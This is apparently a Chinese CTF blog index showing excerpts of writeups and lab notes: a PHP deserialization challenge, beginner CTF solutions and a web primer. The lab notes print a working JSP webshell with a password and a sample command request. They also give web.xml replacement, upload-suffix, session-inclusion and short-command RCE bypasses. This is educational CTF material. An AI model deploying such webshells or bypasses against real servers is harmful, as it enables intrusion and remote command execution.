2024 强网杯 password game | Writeup

proxy那题是队友写的我就不记录了,不知道他后面会不会更新:https://blog.hayneschen.top/ 主要想记录password game这题 不听php课的每个人都会受到应有的惩罚 前面的游戏过程很简单,直接从拿到源码开始看 function filter($password){ $filter_arr = array("admin","2024qwb"); $filter = '/'.implode("|",$filter_arr).'/i'; return preg_replace($filter,"nonono",$password); } class guest{ public $username; public $value; public function __tostring(){ if($this->username=="guest"){ $value(); } return $this->username; } public function __call($key,$value){ if($this->username==md5($GLOBALS["flag"])){ echo $GLOBALS["flag"]; } } } class root{ public $username; public $value; public function __get($key){ if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){ $this->value = $GLOBALS["flag"]; echo md5("hello:".$this->value); } } } class user{ public $username; public $password; public function __invoke(){ $this->username=md5($GLOBALS["flag"]); return $this->password->guess(); } public function __destruct(){ if(strpos($this->username, "admin") == 0 ){ echo "hello".$this->username; } } } $user=unserialize(filter($_POST['password'])); if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){ echo "hello!"; } 比赛的时候乍一看感觉挺懵的,和传统的反序化掉用都不太一样,这里先不管反序化时的filter,先来看一下类 ...

November 5, 2024 · 1 min · Red

[靶场笔记]第二十二章

web.xml相关知识 直接来看看下面这个示例 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <!-- 配置默认servlet来处理静态资源 --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> </servlet> <!-- JSP Servlet 映射 --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> <url-pattern>*.xml</url-pattern> </servlet-mapping> </web-app> 第一个<servlet-mapping>里用来处理静态资源,指定根路径是/,没什么好说的。 <servlet>用来定义一个名叫jsp的类似变量一样的东西,然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断 第二个中,当访问例如诸如.jsp等在<url-pattern>定义的文件路径后,将会交由上述<servlet>中对应的“变量名”(这里就是jsp)进行处理,也就是交由org.apache.jasper.servlet.JspServlet判断 这段web.xml可以被拿来直接使用,如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml,搭配下面的jsp小马即可上线 jsp小马 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami information_schema.tables绕过 可以用sys.schema_table_statistics_with_buffer来替换,效果是一样的 另外提一嘴题外话,如果发现or或者and等测试句没反应,有可能是服务故意为之,此时就要考虑是不是有关键字或者空格之类的被ban掉了,空格可以用%09等代替 throw new异常抛出绕过(GC绕过) 如果碰到下面这种情况 class FileHandler { ... ... public function __destruct() { if (file_exists($this->fileName) &&!empty($this->fileHandle)) { fclose($this->fileHandle); echo "File closed: {$this->fileName}\n"; } } } ... ... if(isset($_GET['exp'])) { if(preg_match('/<\?php/i',$_GET['exp'])){ exit; } $exp = unserialize($_GET['exp']); throw new Exception("Test!"); } 如果你想利用这里的destruct作为触发点,会因为有一个throw new而无法触发(异常肯定优先于php执行完整个反序化过程)。因此可以参考使用GC回收机制进行绕过,进而强行在throw new之前触发destruct。 ...

November 1, 2024 · 1 min · Red

[靶场笔记]第二十一章

HTTP请求走私 在下面代码中 if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': return jsonify({ 'message': f'{app.config["FLAG"]}' }), 200 当X-Forwarded-Host属性的值为dev.apacheblaze.local时即可获得flag XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名 但直接修改后并没有效果,如果此时web服务器又恰好是apache,就可以考虑用CVE 2023 25690,详细用法可以参考这里 PHP session临时文件 当php生成session的同时,会在/tmp目录下生成一个带sessionID(也就是cookie里的PHPSESSION)的临时文件。如果此时有文件包含,就可以利用这点进行getshell 例如,获得到的sessionID是114514,那么临时文件路径就是/tmp/sess_114514 字符限制 写题的时候碰到了个6字符限制,也解锁了一种很新奇的rce手法,下面就记录一下这种6字符绕过的手段 >ls #写入一个名为ls的文件 * /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件,那么就能把文件名当成命令执行 要注意这里的“特定路径”。因为如果是放index.php的路径就会失败,必须是一个专门写文件的路径。 另外,不止6字符可以绕过,5字符4字符也都能绕:https://blog.csdn.net/q20010619/article/details/109206728 JWT中的RS256碰撞 打网鼎杯碰到的一个神奇的方法,可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥,然后再通过RsactfTools破解出私钥(好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD 操作案例可以看这篇wp 后缀绕过 如果代码中的后缀检测和文件上传方式是类似下面这样 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) { return false; } ... ... $target_file=$name move_uploaded_file($file['tmp_name'], $target_file) 就可以通过shell.php/.这样的方式绕过。这是因为在pathinfo中会将这句payload解析成空后缀,从而不会而在move_uploaded_file则会自动将/后的.去掉,从而保存shell.php文件 Smarty模板注入 各种注入方法这里讲解得更丰富一点:https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD 我主要记录一些有关smarty模板的小知识 在上面博客里讲到用下面这种方法进行命令执行 如果直接放在一个需要渲染的html里,这里的eval其实是可以省略的。具体可以看下面smarty文档的解释 这里的eval其实和string是差不多意思,只是string会创建一个临时文件再执行这个文件后返回结果(不知道这里会不会有关于string的安全问题,毕竟会写文件),而eval则是直接执行data里给的东西 也就是说当注入环境如下时,你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。 但如果是分开的,比如下面这样 controllers/FileController.php.php ...

October 31, 2024 · 1 min · Red

2024 TKKCTF Beginner | WriteUp

学CTF要做到不会的**多搜**,碰到不会的或者没见过的名词和工具,都能在网路上找到详细的解释和教程,不会一个搜一个。多去尝试自己解决遇到的问题,所有的答案都藏在你曾经也许看都不想看的代码、报错和技术文章里,加油 Misc 你好,CTF! flag就在pdf末尾,不解释 阿娜达瓦~ 使用gif逐帧播放可以发现二维码 扫描后即可得到flag 这是什么? 在cyberchef中先解base32再解base64即可 佛说:只能四天🙏 根据提示搜索与佛论禅在线解密工具 但发现无法解密,需要输入一个密码,回到题目描述注意到这一串内容 输入即可解开 引导题 尝试复制后发现需要密码 本题解法不唯一,这里介绍两种。 方法一:搜索在线解锁工具 解锁后即可直接复制被遮盖的内容。放到cyberchef里梭哈base64即可 方法二:如果你是macOS用户,右键搜索即可,不要点拷贝 一样放到base64解码即可 小泽 下载图片后使用010editor或者文本编辑器均可,拉到最下面就能发现flag Up and Down 将文件下载下来后,可以找到在线工具将文件二进制进行反转,下面我演示linux命令的方式进行反转 一行命令即可,本意就是反转文件二进制数据。将输出的图片打开后即可得到flag RFID 比赛原题,直接放网上的wp https://blog.mo60.cn/index.php/archives/2023-fjss.html 乱乱的字符 统计每个字符出现的频率,可以拼出个大概flag。但可以发现有两个字符出现的频率都是7次,也就是A和i。此时回到题目提示 猜测是AsCii这个单词,而且这样排序的话正好两个i的出现频率加起来就是7次,符合条件,因此flag就是 xujc{Ukn0w_AsCii~} void null() {}、Chiikawa https://x.xn–q9jyb4c/p/ctf-record-w0w/ sharkshark 安装wireshark即可打开pcapng格式的流量包,ctrl+f4可以调出搜索框,选择分组字节流+字符串多次 搜索xujc,可以在一堆假flag中找到flag24.txt为trueFlag 好痛 010打开后再中间发现mp3的模板结束了,可以发现后面是zip文件头 手工分离出来,分离时再尾部还可以发现一个key (原本作者是让做题人根据歌名来猜key,被骂了改附件了qwq) 解压压缩包后那首歌是使用MP3Stego来解码因为歌名奇怪,作者建议先改成1.mp3,然后 在cmd使用 Decode -X -P love 1.mp3 就能得到flag ...

October 23, 2024 · 7 min · Red

2024 TKKCTF | Web入门指南

什么是Web? 日常生活中碰到的有关网络的一切,都能叫作Web。小到家庭网络,大到跨国网站前后端布局 你现在看到的这个网站,以及我们比赛用的平台,输入网址,点击回车,无数通信与网络工程原理在你看不到的地方用不到几秒的时间一通操作后,一个漂亮的网页就这样成现在你面前。而完成这一过程的所有步骤,就构成了我们所说的Web技术。 在网络安全领域,web安全技术则是你能在现实中看到的最像影视作品里黑客们在使用的技术。就像上面所说的访问网站的例子,黑客们可能出现在你任何意料之外的地方。比方说,你正在付款的淘宝网其实并不是真的,而是黑客伪造出来的1比1复刻网站;上大学后老师教了你怎么搭建一个属于自己的个人博客,结果不出两天就被不知名黑客不知道从哪挂上了各种满天飞的广告;就连你出门随身携带的手机自动连上的无密码免费wifi,可能都是黑客在监听你QQ微信的幌子。 怎么学Web? 不懂就搜(善用ai和搜索引擎,小到软件怎么使用,大到某一个庞大的知识点,可以使用多个搜索引擎,推荐google和bing),不懂就问(大雪参必备技能—脸皮厚) 推荐blog网站: 先知社区,freebuf,Red的小屋(本站) 接下来,就让我们通过这次TKKCTF,从最最基础的几个技术,来浅入一下会令你感慨黑客们无所不能的Web安全技术,来看看这些被形容得很坏但又很酷的事情。 网站基础 我们都知道,当我们想要访问一个网站时,就需要一个网址,而网址的专业名词就叫“域名”。域名除了能带你访问你想访问网站以外,一般都带有一些其他信息,例如网站所在服务器的ip地址等等内容。这些内容我们管他叫DNS记录。为了查询到这些内容,我们就需要做一件事,也就是DNS解析。其中,本引导题的flag就藏在我们的平台域名xujclab.com的TXT记录中,快去试试吧! 对应题目:引导题 网络基础 如果你是个没有很多网络开发经验的小白,肯定不知道什么叫Http协议。但如果仔细观察一下你现如今接触到的绝大多数网站网址最开始,都有一段这样的东西:http:// 在博大精深的网络世界中,我们所看到的网站,架设在一种叫“服务器”的电脑上。它其实和我们正在使用的电脑就组成上来说没有任何不同,一样的内存,一样的硬盘,一样的芯片,最大的区别就是它为了保证它正在服务的网站能够7x24小时不间断提供功能,就7x24小时不会关机。而我们自己电脑上的浏览器,为了能让你想访问的网站的服务器准确地为我们提供服务,就需要使用一个双方电脑都看得懂的东西来互相告诉对方现在自己想干什么。这个“东西”就叫“协议”,“协议”是两台电脑都能看得懂的内容,一种约定俗成的格式,于是他们就会用这个东西相互交流。而“Http协议”其实就是众多协议中我们最常见到的一个,他告诉服务器我们想要看到的网站叫什么,例如下面这个 http://redshome.top/ redshome.top是我网站的名字,而http://就是告诉服务器的我想访问redshome.top这个网站的协议 那么http协议是通过什么通信的呢?答案是“数据包”。你的电脑通过发送一个“Http数据包”来告诉服务器我们想干什么。下面这个就是一个真实的“Http数据包” GET / HTTP/1.1 Host: ctf.xujc.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: user=admin Accept-Language: zh-CN,zh;q=0.9 Connection: close 不用慌,让我们来看一行一行分析这个数据包里到底都是些什么东西 第一行GET / HTTP/1.1叫数据包的“请求行”,GET的意思是使用“GET”方式请求数据,也就是你在浏览器地址栏写下网址按下回车的这个操作其实就叫做一个“GET”请求,应该很好理解。中间的/代表你正访问的网站的路径,路径可以理解成网站的“文件夹”,不同的“文件夹”下自然会有不同“文件”,就对应着不同的功能。而只有一个/则称为网站的“根路径”,也就是最开始的一层文件夹。HTTP/1.1则是正在使用的http协议版本,这个不重要。 接下来几行都是同一部分,叫“请求头”。每一行都有一个名称和一个英文冒号:与后面的内容隔开。冒号前叫“属性”,冒号后叫“值”。让我们看几个比较重要的属性和值。 “Host”,这个属性是浏览器用来告诉你的运营商你想要访问什么网站或者哪台服务器用的。上面这个例子中,ctf.xujclab.com就是我们要访问的网站 “User-Agent”,这个属性是我们告诉服务器自己正在用什么浏览器的。上面这个例子中,使用的浏览器就是Safari “Cookie”,这个属性是用来告诉浏览器我们当前登录状态的,比如服务器会判断你是否已经登录过,用什么账号登陆的,从而返回给你对应的页面。最常见的例子就是很多网站在登陆界面会问你“是否保持登录状态”或者“是否自动登录”,其实就是用这个属性来储存的 其他属性暂时还不需要用到,如果有兴趣可以再去自行了解。 那么现在就有了个新的问题,我们要怎么截获浏览器发送出去的数据包呢?这里就要用到一个工具,叫burpsuite 具体怎么安装这个工具可以到群上提问或者自行去网上搜搜 以及什么是HTML,是怎么让我们的网站变得这么丰富多彩的?可以参考这篇:https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics 对应题目:黑客新手训练营 持续更新……

October 13, 2024 · 1 min · Red